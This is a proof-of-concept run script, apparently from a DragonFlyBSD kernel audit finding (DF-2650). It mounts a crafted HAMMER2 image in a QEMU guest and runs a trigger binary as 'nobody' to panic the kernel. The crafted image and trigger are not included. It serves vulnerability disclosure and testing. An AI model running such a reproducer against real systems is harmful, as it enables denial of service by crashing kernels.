DragonFlyBSD Kernel Audit
DF-2650 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2650 run: mount the crafted image, trigger BULKFREE_SCAN as 'nobody'.
# Expected on stock INVARIANTS kernel: panic at hammer2_bulkfree.c:848
# (guest goes down; console shows the KKASSERT backtrace).
ssh -F dfbsd-qemu/config dfbsd 'su -m root -c sh -c \
  "vnconfig -u vn0 2>/dev/null; vnconfig -c vn0 /tmp/craft2650.img && \
   mkdir -p /mnt/h2x && \
   mount -t hammer2 /dev/vn0@testvol /mnt/h2x && echo MOUNT_OK && \
   cat /mnt/h2x/f1 && echo && \
   cp /tmp/trigger /tmp/trigger.bin 2>/dev/null; \
   su -m nobody -c /tmp/trigger /mnt/h2x/f1 2>/dev/null || \
   su -m nobody -c \"/tmp/trigger /mnt/h2x/f1\"; \
   echo TRIGGER_RC=\$?"'
echo "---- check dfbsd-qemu/vm.sh log for: panic: assertion \"radix != 0\" ----"